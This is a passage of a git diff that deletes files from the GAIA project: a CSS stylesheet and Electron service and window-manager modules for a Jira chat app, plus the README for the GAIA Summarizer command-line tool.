column; - gap: 4px; -} - -.sidebar-action { - display: flex; - align-items: center; - gap: 10px; - padding: 10px 12px; - background: transparent; - border: none; - border-radius: 8px; - font-size: 14px; - color: var(--text-primary); - cursor: pointer; - transition: all 0.2s ease; - text-align: left; - width: 100%; -} - -.sidebar-action:hover { - background: var(--bg-secondary); - transform: translateX(2px); -} - -.sidebar-action.active { - background: var(--primary-color); - color: white; -} - -.action-icon { - font-size: 16px; - width: 20px; - text-align: center; -} - -.action-text { - flex: 1; -} - -.sidebar-empty { - padding: 20px 10px; - text-align: center; - color: var(--text-secondary); - font-size: 13px; -} - -.sidebar-hint { - margin-top: 8px; - font-size: 11px; - color: var(--text-disabled); -} - -/* Center Panel */ -.center-panel { - background: var(--bg-primary); - border-radius: var(--border-radius); - box-shadow: var(--shadow-card); - overflow: hidden; - display: flex; - flex-direction: column; -} - -/* Chat Panel */ -.chat-panel { - background: var(--bg-primary); - border-radius: var(--border-radius); - box-shadow: var(--shadow-card); - overflow: hidden; - display: flex; - flex-direction: column; -} - -.section-header { - margin-bottom: 32px; - display: flex; - justify-content: space-between; - align-items: flex-start; -} - -.section-header h2 { - font-size: var(--font-size-2xl); - font-weight: 600; - margin-bottom: 8px; -} - -.section-header p { - color: var(--text-secondary); - font-size: var(--font-size-base); -} - -.refresh-button { - padding: 8px 16px; - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - color: var(--text-secondary); - font-size: var(--font-size-sm); - cursor: pointer; - transition: all 0.2s ease; -} - -.refresh-button:hover { - background: var(--bg-secondary); - border-color: var(--primary-color); - color: var(--primary-color); -} - -/* WebUI Grid */ -.webui-grid { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); - gap: 24px; -} - -.webui-card { - background: var(--bg-primary); - border-radius: var(--border-radius); - padding: 24px; - box-shadow: var(--shadow); -} - -.webui-card h3 { - font-size: var(--font-size-lg); - font-weight: 600; - margin-bottom: 16px; - color: var(--text-primary); -} - -/* Quick Actions */ -.quick-actions { - display: flex; - flex-direction: column; - gap: 12px; -} - -.action-button { - padding: 12px 16px; - background: var(--primary-color); - color: white; - border: none; - border-radius: var(--border-radius); - font-size: var(--font-size-sm); - cursor: pointer; - transition: background-color 0.2s ease; - text-align: left; -} - -.action-button:hover { - background: var(--primary-hover); -} - -/* System Status */ -.system-status { - display: flex; - flex-direction: column; - gap: 12px; -} - -.status-item { - display: flex; - justify-content: space-between; - align-items: center; -} - -.status-label { - font-size: var(--font-size-sm); - color: var(--text-secondary); -} - -.status-value { - font-size: var(--font-size-sm); - font-weight: 500; - padding: 4px 8px; - border-radius: 4px; - background: var(--bg-secondary); -} - -.status-value.ready { - background: var(--success-color); - color: white; -} - -.status-value.error { - background: var(--danger-color); - color: white; -} - -/* Content Grid */ -.content-grid { - display: grid; - grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); - gap: 16px; -} - -/* Forms */ -.search-form, -.create-form { - background: var(--bg-primary); - padding: 24px; - border-radius: var(--border-radius); - box-shadow: var(--shadow); - margin-bottom: 24px; -} - -.search-input-group, -.chat-input-group { - display: flex; - gap: 12px; -} - -.search-input, -.chat-input, -.form-input, -.form-textarea, -.form-select { - flex: 1; - padding: 12px 16px; - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - font-size: var(--font-size-base); - transition: border-color 0.2s ease; -} - -.search-input:focus, -.chat-input:focus, -.form-input:focus, -.form-textarea:focus, -.form-select:focus { - outline: none; - border-color: var(--primary-color); -} - -.search-button, -.chat-send-button, -.submit-button { - padding: 12px 24px; - background: var(--primary-color); - color: white; - border: none; - border-radius: var(--border-radius); - font-size: var(--font-size-base); - cursor: pointer; - transition: background-color 0.2s ease; -} - -.search-button:hover, -.chat-send-button:hover, -.submit-button:hover { - background: var(--primary-hover); -} - -.form-group { - margin-bottom: 20px; -} - -.form-group label { - display: block; - margin-bottom: 8px; - font-weight: 500; - color: var(--text-primary); -} - -.form-row { - display: grid; - grid-template-columns: 1fr 1fr; - gap: 16px; -} - -.form-textarea { - resize: vertical; - min-height: 100px; -} - -/* Search Results */ -.search-results { - background: var(--bg-primary); - border-radius: var(--border-radius); - box-shadow: var(--shadow); - min-height: 200px; -} - -/* Chat Component Styles */ -.chat-header { - padding: 20px; - border-bottom: 1px solid var(--border-color); - background: var(--bg-primary); - display: flex; - justify-content: space-between; - align-items: center; -} - -.chat-header h2 { - font-size: var(--font-size-lg); - font-weight: 600; - color: var(--text-primary); - margin: 0; -} - -.chat-subtitle { - font-size: 12px; - color: var(--text-secondary); - margin: 5px 0 0 0; -} - -.chat-status { - display: flex; - align-items: center; -} - -.chat-content { - flex: 1; - display: flex; - flex-direction: column; - overflow: hidden; -} - -.chat-messages { - flex: 1; - padding: 20px; - overflow-y: auto; - display: flex; - flex-direction: column; - gap: 16px; - background: var(--bg-secondary); -} - -.chat-message { - display: flex; - gap: 12px; - align-items: flex-start; - animation: fadeInUp 0.3s ease; -} - -@keyframes fadeInUp { - from { - opacity: 0; - transform: translateY(10px); - } - to { - opacity: 1; - transform: translateY(0); - } -} - -.message-avatar { - width: 36px; - height: 36px; - border-radius: 50%; - background: var(--primary-color); - color: white; - display: flex; - align-items: center; - justify-content: center; - font-size: 18px; - flex-shrink: 0; -} - -.ai-message .message-avatar { - background: var(--success-color); -} - -.user-message .message-avatar { - background: var(--primary-color); -} - -.message-content { - flex: 1; - background: var(--bg-primary); - border-radius: 12px; - padding: 12px 16px; - box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); -} - -.user-message .message-content { - background: var(--primary-color); - color: white; -} - -.message-text { - line-height: 1.5; - margin-bottom: 4px; -} - -.message-time { - font-size: var(--font-size-xs); - color: var(--text-disabled); - opacity: 0.7; -} - -.user-message .message-time { - color: rgba(255, 255, 255, 0.8); -} - -.typing-indicator .typing-dots { - display: flex; - gap: 4px; - padding: 8px 0; -} - -.typing-dots span { - width: 8px; - height: 8px; - border-radius: 50%; - background: var(--text-secondary); - animation: typing 1.4s infinite ease-in-out; -} - -.typing-dots span:nth-child(2) { - animation-delay: 0.2s; -} - -.typing-dots span:nth-child(3) { - animation-delay: 0.4s; -} - -@keyframes typing { - 0%, 60%, 100% { - transform: translateY(0); - opacity: 0.4; - } - 30% { - transform: translateY(-10px); - opacity: 1; - } -} - -.chat-input-area { - padding: 20px; - background: var(--bg-primary); - border-top: 1px solid var(--border-color); -} - -.quick-actions { - display: flex; - gap: 8px; - margin-bottom: 12px; - justify-content: flex-start; - flex-direction: row; /* Force horizontal layout */ -} - -.quick-action-btn { - padding: 6px 10px; /* Smaller padding */ - background: var(--bg-secondary); - border: 1px solid var(--border-color); - border-radius: 16px; - font-size: 12px; /* Smaller font */ - color: var(--text-secondary); - cursor: pointer; - transition: all 0.2s ease; - white-space: nowrap; /* Prevent text wrapping */ - flex-shrink: 0; /* Prevent shrinking */ -} - -.quick-action-btn:hover { - background: var(--primary-color); - color: white; - border-color: var(--primary-color); -} - -.quick-action-btn.narrow { - padding: 6px 10px; - font-size: 12px; -} - -.chat-form { - display: flex; - flex-direction: column; -} - -.chat-input-group { - display: flex; - align-items: center; - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: 24px; - padding: 4px 4px 4px 16px; - transition: border-color 0.2s ease; - gap: 8px; -} - -.chat-input-group:focus-within { - border-color: var(--primary-color); -} - -.chat-input { - flex: 1; - padding: 8px 0; - border: none; - background: transparent; - font-size: var(--font-size-base); - font-family: var(--font-family); - resize: none; - min-height: 32px; - max-height: 120px; - line-height: 1.5; - outline: none; -} - -.chat-input::placeholder { - color: var(--text-secondary); -} - -.chat-send-button { - width: 36px; - height: 36px; - padding: 0; - background: var(--primary-color); - color: white; - border: none; - border-radius: 50%; - cursor: pointer; - transition: all 0.2s ease; - display: flex; - align-items: center; - justify-content: center; - flex-shrink: 0; -} - -.chat-send-button:hover:not(:disabled) { - background: var(--primary-hover); - transform: scale(1.05); -} - -.chat-send-button:disabled { - background: var(--text-disabled); - cursor: not-allowed; - opacity: 0.6; -} - -.chat-send-button svg { - width: 20px; - height: 20px; -} - -.chat-send-button .loading-icon.spinning { - animation: spin 1s linear infinite; -} - -@keyframes spin { - from { transform: rotate(0deg); } - to { transform: rotate(360deg); } -} - -/* Results Panel Styles */ -.results-header { - padding: 20px; - background: var(--bg-primary); - border-bottom: 1px solid var(--border-color); - display: flex; - justify-content: space-between; - align-items: center; -} - -.results-header h2 { - font-size: var(--font-size-lg); - font-weight: 600; - color: var(--text-primary); - margin: 0; -} - -.results-tabs { - display: flex; - gap: 4px; -} - -.results-tab { - padding: 8px 16px; - background: transparent; - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - color: var(--text-secondary); - font-size: var(--font-size-sm); - cursor: pointer; - transition: all 0.2s ease; -} - -.results-tab.active, -.results-tab:hover { - background: var(--primary-color); - color: white; - border-color: var(--primary-color); -} - -.results-content { - flex: 1; - position: relative; - overflow: hidden; -} - -.results-tab-content { - position: absolute; - top: 0; - left: 0; - right: 0; - bottom: 0; - padding: 24px; - overflow-y: auto; - display: none; -} - -.results-tab-content.active { - display: block; -} - -.welcome-message { - text-align: center; - max-width: 500px; - margin: 60px auto; -} - -.welcome-icon { - font-size: 48px; - margin-bottom: 20px; -} - -.welcome-message h3 { - font-size: var(--font-size-xl); - margin-bottom: 16px; - color: var(--text-primary); -} - -.welcome-message p { - color: var(--text-secondary); - margin-bottom: 24px; - line-height: 1.6; -} - -.welcome-suggestions { - text-align: left; - background: var(--bg-primary); - padding: 20px; - border-radius: var(--border-radius); - border: 1px solid var(--border-color); -} - -.welcome-suggestions h4 { - margin-bottom: 12px; - color: var(--text-primary); -} - -.welcome-suggestions ul { - list-style: none; - margin: 0; - padding: 0; -} - -.welcome-suggestions li { - padding: 8px 0; - color: var(--text-secondary); - border-bottom: 1px solid var(--bg-tertiary); -} - -.welcome-suggestions li:last-child { - border-bottom: none; -} - -.results-summary { - margin-bottom: 24px; - padding: 20px; - background: var(--bg-primary); - border-radius: var(--border-radius); - border: 1px solid var(--border-color); -} - -.results-summary.success { - border-color: var(--success-color); - background: rgba(0, 135, 90, 0.05); -} - -.results-summary.error { - border-color: var(--danger-color); - background: rgba(222, 53, 11, 0.05); -} - -.results-summary h3 { - margin-bottom: 12px; - color: var(--text-primary); -} - -.summary-stats { - display: flex; - gap: 24px; - margin: 16px 0; -} - -.stat { - text-align: center; -} - -.stat-number { - display: block; - font-size: var(--font-size-2xl); - font-weight: 700; - color: var(--primary-color); -} - -.stat-label { - font-size: var(--font-size-sm); - color: var(--text-secondary); -} - -.query-info, -.jql-info { - font-size: var(--font-size-sm); - color: var(--text-secondary); - margin-top: 8px; -} - -.jql-info code { - background: var(--bg-tertiary); - padding: 2px 6px; - border-radius: 4px; - font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; - font-size: 12px; -} - -.issues-grid, -.projects-grid { - display: grid; - grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); - gap: 16px; - margin-bottom: 16px; -} - -.issues-list, -.projects-list { - display: flex; - flex-direction: column; - gap: 16px; -} - -.show-more { - text-align: center; - padding: 16px; - color: var(--text-secondary); - font-style: italic; -} - -.detailed-issue-card, -.detailed-project-card { - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - padding: 20px; - display: grid; - grid-template-columns: 1fr auto; - gap: 20px; - transition: all 0.2s ease; -} - -.detailed-issue-card:hover, -.detailed-project-card:hover { - border-color: var(--primary-color); - box-shadow: var(--shadow); -} - -.issue-main, -.project-main { - min-width: 0; -} - -.issue-sidebar, -.project-sidebar { - width: 150px; - display: flex; - flex-direction: column; - gap: 12px; -} - -.issue-field, -.project-field { - font-size: var(--font-size-sm); -} - -.issue-field label, -.project-field label { - display: block; - font-weight: 500; - color: var(--text-secondary); - margin-bottom: 4px; -} - -.created-issue-card, -.chat-response-card, -.error-card, -.unknown-response-card { - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - padding: 20px; -} - -.assistant-message { - background: var(--bg-secondary); - border-left: 3px solid var(--primary-color); - border-radius: var(--border-radius); - padding: 12px 16px; - margin-bottom: 20px; -} - -.assistant-message .message-content { - color: var(--text-primary); - line-height: 1.6; -} - -.issue-key { - font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; - font-size: var(--font-size-lg); - font-weight: 600; - color: var(--primary-color); - margin-bottom: 12px; -} - -.issue-link { - display: inline-block; - margin-bottom: 16px; - color: var(--primary-color); - text-decoration: none; -} - -.issue-link:hover { - text-decoration: underline; -} - -.issue-details { - display: flex; - flex-direction: column; - gap: 8px; -} - -.detail-row { - display: flex; - gap: 12px; -} - -.detail-label { - font-weight: 500; - color: var(--text-secondary); - min-width: 80px; -} - -.detail-value { - color: var(--text-primary); -} - -.response-content { - line-height: 1.6; - color: var(--text-primary); -} - -.error-message { - color: var(--danger-color); - font-weight: 500; -} - -.raw-data-container { - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - overflow: hidden; -} - -.raw-data-container h3 { - padding: 16px 20px; - margin: 0; - background: var(--bg-secondary); - border-bottom: 1px solid var(--border-color); - font-size: var(--font-size-base); - font-weight: 600; -} - -.raw-data-content { - padding: 20px; - font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; - font-size: 12px; - line-height: 1.4; - overflow-x: auto; - white-space: pre-wrap; - word-wrap: break-word; - margin: 0; -} - -.no-details { - text-align: center; - padding: 40px; - color: var(--text-secondary); - font-style: italic; -} - -.details-header { - margin-bottom: 24px; -} - -.details-header h3 { - margin-bottom: 8px; - color: var(--text-primary); -} - -/* Loading Overlay */ -.loading-overlay { - position: fixed; - top: 0; - left: 0; - right: 0; - bottom: 0; - background: var(--loading-overlay-bg); - display: none; - align-items: center; - justify-content: center; - flex-direction: column; - gap: 16px; - z-index: 1000; - transition: opacity 0.3s ease; -} - -.loading-overlay.visible { - display: flex; -} - -.loading-state { - text-align: center; - padding: 40px; -} - -.loading-state .loading-spinner { - margin-bottom: 16px; -} - -.loading-state .loading-text { - color: var(--text-secondary); -} - -.loading-spinner { - width: 48px; - height: 48px; - border: 4px solid var(--loading-spinner-secondary); - border-top: 4px solid var(--loading-spinner-primary); - border-radius: 50%; - animation: spin 1s linear infinite; -} - -@keyframes spin { - 0% { transform: rotate(0deg); } - 100% { transform: rotate(360deg); } -} - -.loading-text { - font-size: var(--font-size-base); - color: var(--text-secondary); -} - -/* Cards and Items */ -.issue-card, -.project-card { - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: var(--border-radius); - padding: 16px; - transition: all 0.2s ease; -} - -.issue-card:hover, -.project-card:hover { - border-color: var(--primary-color); - box-shadow: var(--shadow); -} - -.issue-title, -.project-title { - font-weight: 600; - margin-bottom: 8px; - color: var(--text-primary); -} - -.issue-meta, -.project-meta { - font-size: var(--font-size-sm); - color: var(--text-secondary); - display: flex; - gap: 16px; - margin-bottom: 12px; -} - -.issue-description, -.project-description { - font-size: var(--font-size-sm); - color: var(--text-secondary); - line-height: 1.4; -} - -/* Priority and Status Indicators */ -.priority-high { - color: var(--danger-color); -} - -.priority-medium { - color: var(--warning-color); -} - -.priority-low { - color: var(--success-color); -} - -.status-badge { - padding: 2px 8px; - border-radius: 12px; - font-size: var(--font-size-xs); - font-weight: 500; -} - -.status-todo { - background: var(--bg-tertiary); - color: var(--text-secondary); -} - -.status-progress { - background: var(--primary-color); - color: white; -} - -.status-done { - background: var(--success-color); - color: white; -} - -/* Placeholder Text */ -.placeholder-text { - color: var(--text-secondary); - font-style: italic; - text-align: center; - padding: 48px 24px; -} - -/* Activity List */ -.activity-list { - display: flex; - flex-direction: column; - gap: 8px; -} - -.activity-item { - display: flex; - align-items: center; - gap: 12px; - padding: 8px 0; - border-bottom: 1px solid var(--bg-tertiary); -} - -.activity-item:last-child { - border-bottom: none; -} - -.activity-icon { - width: 24px; - height: 24px; - border-radius: 50%; - background: var(--bg-secondary); - display: flex; - align-items: center; - justify-content: center; - font-size: var(--font-size-xs); -} - -.activity-text { - flex: 1; - font-size: var(--font-size-sm); -} - -.activity-time { - font-size: var(--font-size-xs); - color: var(--text-secondary); -} - -/* Responsive Design */ -@media (max-width: 1200px) { - /* Hide sidebar on tablets, show chat and results */ - .main-layout { - grid-template-columns: 1fr 400px; - } - - .sidebar { - display: none; - } -} - -@media (max-width: 768px) { - /* Stack layout on mobile */ - .main-layout { - grid-template-columns: 1fr; - grid-template-rows: 1fr auto; - } - - .sidebar { - display: none; - } - - .center-panel { - border-right: none; - border-bottom: 1px solid var(--border-color); - } - - .chat-panel { - max-height: 50vh; - } - - .form-row { - grid-template-columns: 1fr; - } -} - -/* Performance Stats Styling */ -.performance-stats-container { - margin-top: 24px; - padding: 20px; - background: var(--bg-secondary); - border-radius: 8px; - border: 1px solid var(--border-color); -} - -.performance-stats-container h3 { - margin: 0 0 16px 0; - color: var(--text-primary); - font-size: 16px; - font-weight: 600; -} - -.stats-grid { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); - gap: 16px; -} - -.stat-card { - background: var(--bg-primary); - border: 1px solid var(--border-color); - border-radius: 6px; - padding: 12px; -} - -.stat-card h4 { - margin: 0 0 12px 0; - color: var(--text-secondary); - font-size: 14px; - font-weight: 500; -} - -.stat-details { - display: flex; - flex-direction: column; - gap: 8px; -} - -.stat-row { - display: flex; - justify-content: space-between; - align-items: center; - font-size: 13px; -} - -.stat-label { - color: var(--text-secondary); -} - -.stat-value { - color: var(--text-primary); - font-weight: 500; - font-family: 'Monaco', 'Courier New', monospace; -} - -/* Theme Toggle Button */ -.theme-toggle { - position: fixed; - top: 20px; - right: 20px; - width: 44px; - height: 44px; - border-radius: 50%; - background: var(--bg-primary); - border: 1px solid var(--border-color); - box-shadow: var(--shadow-card); - cursor: pointer; - display: flex; - align-items: center; - justify-content: center; - transition: all 0.3s ease; - z-index: 1001; -} - -.theme-toggle:hover { - transform: scale(1.05); - box-shadow: var(--shadow-hover); - background: var(--bg-secondary); -} - -.theme-icon { - color: var(--text-primary); - transition: opacity 0.3s ease; -} - -/* Scrollbar Styling */ -::-webkit-scrollbar { - width: 8px; - height: 8px; -} - -::-webkit-scrollbar-track { - background: var(--bg-tertiary); -} - -::-webkit-scrollbar-thumb { - background: var(--border-color); - border-radius: 4px; -} - -::-webkit-scrollbar-thumb:hover { - background: var(--text-disabled); -} \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/services/app-services.js b/src/gaia/apps/jira/webui/src/services/app-services.js deleted file mode 100644 index 3468bdee0..000000000 --- a/src/gaia/apps/jira/webui/src/services/app-services.js +++ /dev/null @@ -1,123 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// JAX app-specific services -// Handles JIRA-specific IPC handlers for the standalone JAX app - -class JaxAppServices { - constructor() { - // In standalone mode, we don't have an MCP client from the framework - this.mcpClient = null; - } - - /** - * Get the MCP bridge URL from environment or default - */ - getMCPUrl() { - return process.env.GAIA_MCP_URL || 'http://localhost:8765'; - } - - /** - * Execute a JIRA operation via the MCP bridge - */ - async executeJiraOperation(command) { - try { - const response = await fetch(`${this.getMCPUrl()}/jira`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ query: command }) - }); - - if (!response.ok) { - const error = await response.text(); - return { success: false, error }; - } - - const result = await response.json(); - return { success: true, data: result }; - } catch (error) { - console.error('JIRA operation error:', error); - return { success: false, error: error.message }; - } - } - - /** - * Set the MCP client instance (kept for compatibility but not used in standalone) - */ - setMCPClient(mcpClient) { - this.mcpClient = mcpClient; - } - - async initialize(mainWindow, mcpClient) { - console.log('🚀 Initializing JAX services...'); - console.log(` Using MCP Bridge at: ${this.getMCPUrl()}`); - - // Store the MCP client if provided (though it won't be in standalone mode) - if (mcpClient) { - this.mcpClient = mcpClient; - } - - console.log('✅ JAX ready to handle JIRA requests'); - } - - setupIpcHandlers(ipcMain, mcpClient) { - // Store the MCP client if provided (for compatibility) - if (mcpClient && !this.mcpClient) { - this.mcpClient = mcpClient; - } - - // Main JIRA command execution handler - ipcMain.handle('execute-jira-command', async (event, command) => { - return this.executeJiraOperation(command); - }); - - // Get JIRA projects - ipcMain.handle('get-jira-projects', async () => { - return this.executeJiraOperation('list projects'); - }); - - // Get user's issues - ipcMain.handle('get-my-issues', async () => { - return this.executeJiraOperation('show my open issues'); - }); - - // Search JIRA - ipcMain.handle('search-jira', async (event, query) => { - return this.executeJiraOperation(query); - }); - - // Create JIRA issue - ipcMain.handle('create-jira-issue', async (event, issueData) => { - // Format the create issue command based on the issue data - let command = 'create issue'; - if (issueData.project) command += ` project:${issueData.project}`; - if (issueData.type) command += ` type:${issueData.type}`; - if (issueData.summary) command += ` summary:"${issueData.summary}"`; - if (issueData.description) command += ` description:"${issueData.description}"`; - return this.executeJiraOperation(command); - }); - - // Health check (for compatibility) - ipcMain.handle('jira:checkHealth', async () => { - try { - const response = await fetch(`${this.getMCPUrl()}/health`); - if (response.ok) { - const health = await response.json(); - return { success: true, data: health }; - } - return { success: false, error: 'Health check failed' }; - } catch (error) { - return { success: false, error: error.message }; - } - }); - - console.log('✅ JIRA-specific IPC handlers registered'); - } - - cleanup() { - // Cleanup if needed - console.log('JAX services cleanup completed'); - } -} - -module.exports = new JaxAppServices(); \ No newline at end of file diff --git a/src/gaia/apps/jira/webui/src/services/window-manager.js b/src/gaia/apps/jira/webui/src/services/window-manager.js deleted file mode 100644 index edef2ac43..000000000 --- a/src/gaia/apps/jira/webui/src/services/window-manager.js +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -// Window Manager -// Handles Electron window creation and management - -const { BrowserWindow } = require('electron'); -const path = require('path'); - -class WindowManager { - constructor() { - this.mainWindow = null; - } - - createMainWindow() { - // Create the browser window - this.mainWindow = new BrowserWindow({ - width: 1600, - height: 1000, - icon: path.join(__dirname, '..', 'assets', 'icons', 'icon.png'), - webPreferences: { - nodeIntegration: false, - contextIsolation: true, - enableRemoteModule: false, - preload: path.join(__dirname, '..', 'preload.js'), - }, - show: false, // Don't show until ready - titleBarStyle: 'default', - title: 'JAX - Jira Agent Experience', - autoHideMenuBar: true // Hide menu bar - }); - - // Load the index.html of the app - this.mainWindow.loadFile(path.join(__dirname, '..', 'renderer', 'index.html')); - - // Show window when ready - this.mainWindow.once('ready-to-show', () => { - this.mainWindow.show(); - }); - - // Handle window closed - this.mainWindow.on('closed', () => { - this.mainWindow = null; - if (this.onWindowClosed) { - this.onWindowClosed(); - } - }); - - // Open DevTools in development - if (process.env.NODE_ENV === 'development') { - this.mainWindow.webContents.openDevTools(); - } - - return this.mainWindow; - } - - getMainWindow() { - return this.mainWindow; - } - - sendStatusUpdate(message) { - if (this.mainWindow) { - this.mainWindow.webContents.send('status-update', message); - } - } - - setWindowClosedCallback(callback) { - this.onWindowClosed = callback; - } - - isWindowCreated() { - return this.mainWindow !== null; - } - - closeWindow() { - if (this.mainWindow) { - this.mainWindow.close(); - } - } - - focusWindow() { - if (this.mainWindow) { - if (this.mainWindow.isMinimized()) { - this.mainWindow.restore(); - } - this.mainWindow.focus(); - } - } -} - -module.exports = WindowManager; \ No newline at end of file diff --git a/src/gaia/apps/summarize/README.md b/src/gaia/apps/summarize/README.md deleted file mode 100644 index 281a2c8ad..000000000 --- a/src/gaia/apps/summarize/README.md +++ /dev/null @@ -1,277 +0,0 @@ -# GAIA Summarizer - -The GAIA Summarizer is a powerful tool for generating summaries of meeting transcripts and emails using local LLMs. - -## Features - -- **Multiple Summary Styles**: Generate different types of summaries based on your needs -- **Auto-Detection**: Automatically detects whether input is a transcript or email -- **Batch Processing**: Process entire directories of files -- **Multiple Output Formats**: JSON, PDF, or email output -- **Local LLM Processing**: Optimized for local Lemonade models -- **Performance Metrics**: Track LLM performance and token usage -- **Configuration Templates**: Pre-defined configs for common use cases -- **HTML Viewer**: Interactive HTML viewer for JSON summaries with automatic browser opening -- **Error Handling**: Robust retry logic and error recovery - -## Installation - -The summarizer is included with GAIA and designed to work with local LLMs via the Lemonade server. - -```bash -# Start the local LLM server (primary usage) -lemonade-server serve - -# Optional: Install PDF support -pip install reportlab -``` - -## Usage - -### Test Data - -GAIA includes sample meeting transcripts and emails for testing the summarizer: - -- **Meeting Transcript**: `data/txt/test_transcript.txt` - Sample project status meeting with participants, discussions, and action items -- **Email**: `data/txt/test_email.txt` - Sample project status update email with development progress and next steps - -### Basic Usage - -```bash -# Summarize the sample transcript -gaia summarize -i data/txt/test_transcript.txt -o summary.json - -# Summarize the sample email -gaia summarize -i data/txt/test_email.txt -o email_summary.json - -# Summarize with specific styles -gaia summarize -i data/txt/test_transcript.txt --styles executive action_items - -# Summarize the sample PDF document - -gaia summarize -i data/pdf/Oil-and-Gas-Activity-Operations-Manual-1-10.pdf - -# Generate PDF output -gaia summarize -i data/txt/test_transcript.txt -f pdf - -# Process entire data directory -gaia summarize -i data/txt/ -o ./summaries/ -``` - -### Cloud Models (Testing) - -```bash -# Use GPT-4 for testing (requires OPENAI_API_KEY) -gaia summarize -i data/txt/test_transcript.txt -m gpt-4 --styles executive brief - -# Set your OpenAI API key -export OPENAI_API_KEY=your_api_key_here -``` - -### Email Output - -```bash -# Generate email with summary -gaia summarize -i data/txt/test_transcript.txt -f email --email-to team@company.com - -# With CC and custom subject -gaia summarize -i data/txt/test_transcript.txt -f email \ - --email-to team@company.com \ - --email-cc manager@company.com \ - --email-subject "Weekly Meeting Summary" -``` - -### Using Configurations - -```bash -# List available configurations -gaia summarize --list-configs - -# Use a configuration -gaia summarize -i data/txt/test_transcript.txt --config meeting_summary - -# Override config settings -gaia summarize -i data/txt/test_email.txt --config email_brief --max-tokens 1024 -``` - -## Summary Styles - -- **brief**: Concise 2-3 sentence summary -- **detailed**: Comprehensive summary with all key details -- **bullets**: Key points in bullet format -- **executive**: High-level summary with strategic focus -- **participants**: Extract meeting participants (transcripts) or email recipients -- **action_items**: Extract specific action items with owners and deadlines -- **all**: Generate all available styles - -## Output Formats - -### JSON Format -Default format with full metadata and performance metrics: -- Summary text and extracted information -- Performance statistics (tokens, timing) -- Original content included -- Compatible with eval framework -- **Automatic HTML viewer generated** (can be disabled with `--no-viewer`) - -### PDF Format -Professional report format: -- Formatted summary sections -- Performance metrics table -- Original content (truncated if too long) -- Requires `reportlab` package - -### Email Format -Opens default email client: -- Summary formatted for email -- Supports TO, CC recipients -- Preview before sending -- Single file input only - -## Configuration Files - -Pre-defined configurations in `configs/`: -- `meeting_summary`: Standard meeting summaries -- `meeting_minutes`: Formal documentation -- `email_brief`: Quick email summaries -- `quick_brief`: Ultra-concise summaries -- `comprehensive`: Full analysis with all styles - -## Advanced Options - -### HTML Viewer - -By default, an interactive HTML viewer is automatically created and opened when generating JSON output: -- Beautiful formatted display of summaries -- Performance metrics visualization -- Collapsible original content -- Works offline (no external dependencies) - -```bash -# Default behavior - opens HTML viewer automatically -gaia summarize -i data/txt/test_transcript.txt -o summary.json - -# Disable automatic HTML viewer -gaia summarize -i data/txt/test_transcript.txt -o summary.json --no-viewer - -# Batch processing - HTML files created but not opened -gaia summarize -i data/txt/ -o ./summaries/ -# Open any .html file manually to view formatted summaries -``` - -### Performance Optimization - -```bash -# Combine multiple styles into single LLM call -gaia summarize -i data/txt/test_transcript.txt --styles executive participants action_items --combined-prompt -``` - -### Verbosity Control - -```bash -# Quiet mode (minimal output) -gaia summarize -i data/txt/test_transcript.txt -o summary.json --quiet - -# Verbose mode (debug information) -gaia summarize -i data/txt/test_transcript.txt -o summary.json --verbose -``` - -### Model Selection - -```bash -# Local models (recommended - default) -gaia summarize -i data/txt/test_transcript.txt --model Llama-3.2-3B-Instruct-Hybrid - -# Larger local model for complex content -gaia summarize -i data/txt/test_transcript.txt --model Llama-3.1-8B-Instruct-Hybrid - -# Cloud models (requires OPENAI_API_KEY) -gaia summarize -i data/txt/test_transcript.txt --model gpt-4 -``` - -## Error Handling - -The summarizer includes: -- Automatic retry on LLM failures (3 attempts) -- Token limit detection and content truncation -- Encoding detection for various file formats -- Connection error recovery -- Email validation - -## Programmatic Usage - -```python -from gaia.apps.summarize.app import SummarizerApp, SummaryConfig - -# Local model configuration -config = SummaryConfig( - model="Llama-3.2-3B-Instruct-Hybrid", - styles=["executive", "action_items"], - max_tokens=1024 -) - -# Cloud model configuration -config_cloud = SummaryConfig( - model="gpt-4", - styles=["executive", "action_items"], - max_tokens=2048 -) - -# Create summarizer -app = SummarizerApp(config) - -# Summarize content -result = app.summarize("Meeting transcript content...") - -# Or summarize file -result = app.summarize_file(Path("data/txt/test_transcript.txt")) -``` - -## Requirements - -### Primary Requirements (Local LLMs) -- GAIA installation -- Lemonade server running (local LLM execution) - -### Optional Requirements -- `reportlab` for PDF output -- `OPENAI_API_KEY` environment variable (for cloud models) - -## Troubleshooting - -### "Connection refused" error (Local models) -Ensure Lemonade server is running: -```bash -lemonade-server serve -``` - -### "OPENAI_API_KEY not found" error (Cloud models) -Set your OpenAI API key: -```bash -export OPENAI_API_KEY=your_api_key_here -# Or add to .env file -echo "OPENAI_API_KEY=your_api_key_here" >> .env -``` - -### Token limit errors -- Use `--max-tokens` to reduce output size -- Content is automatically truncated if too long - -### PDF generation fails -Install reportlab: -```bash -pip install reportlab -``` - -### Email client doesn't open -- Check default email client settings -- Ensure email addresses are valid -- Try with a simple test first - -## Future Enhancements - -- Support for more file formats (DOCX, RTF) -- Integration with calendar systems -- Custom summary templates -- Multi-language support -- Audio transcription integration \ No newline at end of file diff --git a/src/gaia/apps/summarize/__init__.py 